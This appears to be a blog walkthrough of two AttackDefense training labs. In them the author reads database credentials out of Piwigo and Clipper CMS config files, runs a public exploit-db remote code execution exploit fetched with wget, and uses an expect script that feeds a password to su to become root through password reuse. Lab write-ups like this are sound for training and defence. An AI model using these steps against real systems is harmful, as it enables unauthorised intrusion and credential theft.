Pwning Webapps to Get Root Shell

In the real world, you will not get a shell-like interface as you are getting in the AttackDefense labs, but a website or some other kind of end-user facing interface. You need to then gain an initial foothold by exploiting that application using 0-day or known vulnerabilities and then perform enumeration on the system

In this post, I will discuss few such labs where you will have a website as an initial attack vector

• Shared Server
• CMS Admin to Root II

LAB: Shared Server

On spawning the lab, I found that sudo is installed and the current user has permissions to manage MySQL service via sudo without entering any password

In most cases, if MySQL is running, the developer must have used PHP (unfortunately). This is from my experience that good developers always store the DB login credentials in database.php,  database.inc.php, config.inc.php or config.php. But this case was not the same as always.

But luckily there was information disclosure and it is serving "Piwigo – Php based photo gallery". In this case, it would be easy to find the default DB configurations

So I found from the forum of piwigo itself that it stores the database configuration in local/config/database.inc.php

The content of the database.inc.php file are as follow

<?php
$conf['dblayer'] = 'mysql';
$conf['db_base'] = 'piwigo';
$conf['db_user'] = 'root';
$conf['db_password'] = 'w3lc0m3t0adlabs';
$conf['db_host'] = 'localhost';

$prefixeTable = 'piwigo_';

define('PHPWG_INSTALLED', true);
define('PWG_CHARSET', 'utf-8');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
?>

This is again from my experience from hack the box machines and also a few real-world applications that I had pen-tested. Users don't want to remember their passwords, so they choose one difficult password and reuse it on multiple platforms/systems. This is also called Password Reuse Vulnerability

So when I tried to log in with the root user using the same MySQL password, it accepted that and spawned the root user shell

This comes under insider's threat and users must be educated and enforced to use different login credentials for different platforms

LAB: CMS Admin to Root II

In the lab, you will get a web application "Clipper CMS" with its login credentials provided in the lab description admin:password

After logging, I found that the version of clipper cms is 1.3.0 and it is vulnerable to remote code execution. You can find the exploit on exploitdb – https://www.exploit-db.com/exploits/38730

Download the exploit and execute it. It will ask you to enter the path of cms followed by login credentials

# pwd
/tmp/exploit
# wget https://www.exploit-db.com/download/38730 -qO exploit.py
# ls -l
total 4
-rw-r--r-- 1 terabyte terabyte 3194 Aug 14 05:14 exploit.py
# python exploit.py 
usage: python exploit.py http://example.com/ClipperCMS/ admin admin

The script exploits some vulnerabilities in the file manager and uploads the shell using htaccess. On successful execution, it will rename the file from .htaccess to ht.access

Since you have access to the file system and arbitrary commands, it's time to enumerate the files and look for config files to get DB login credentials

I found the following contents from the /app/clipper/manager/includes/config.inc.php

$database_type = 'mysqli';
$database_server = 'localhost';
$database_user = 'root';
$database_password = 'st4ytun3dL0tm0r3t0c0me';
$database_connection_charset = 'utf8';
$dbase = '`clipper`';
$table_prefix = 'clpr_';

Since all the commands are executed via URL query parameter and there is no pty shell, you can either get a reverse connection via netcat or use the expect utility to interact with programs via a non-interactive interface

Here is the script I would be using to interact with the /bin/su command

#!/usr/bin/expect -f
log_user 0
set password [lindex $argv 0]
spawn /bin/su -c [lindex $argv 1]
expect "Password:"
send "$password\\r";
interact

Url encode the payload the create file using the printf command. On the server, the payload will be delivered as it is, the PHP interpreter will automatically decode it for you. This will prevent from breaking the URL rule

Now use ./file <password> <command> to interact with su and execute the command via root user. Like the previous lab, in this case, also the system is vulnerable to password reuse vulnerability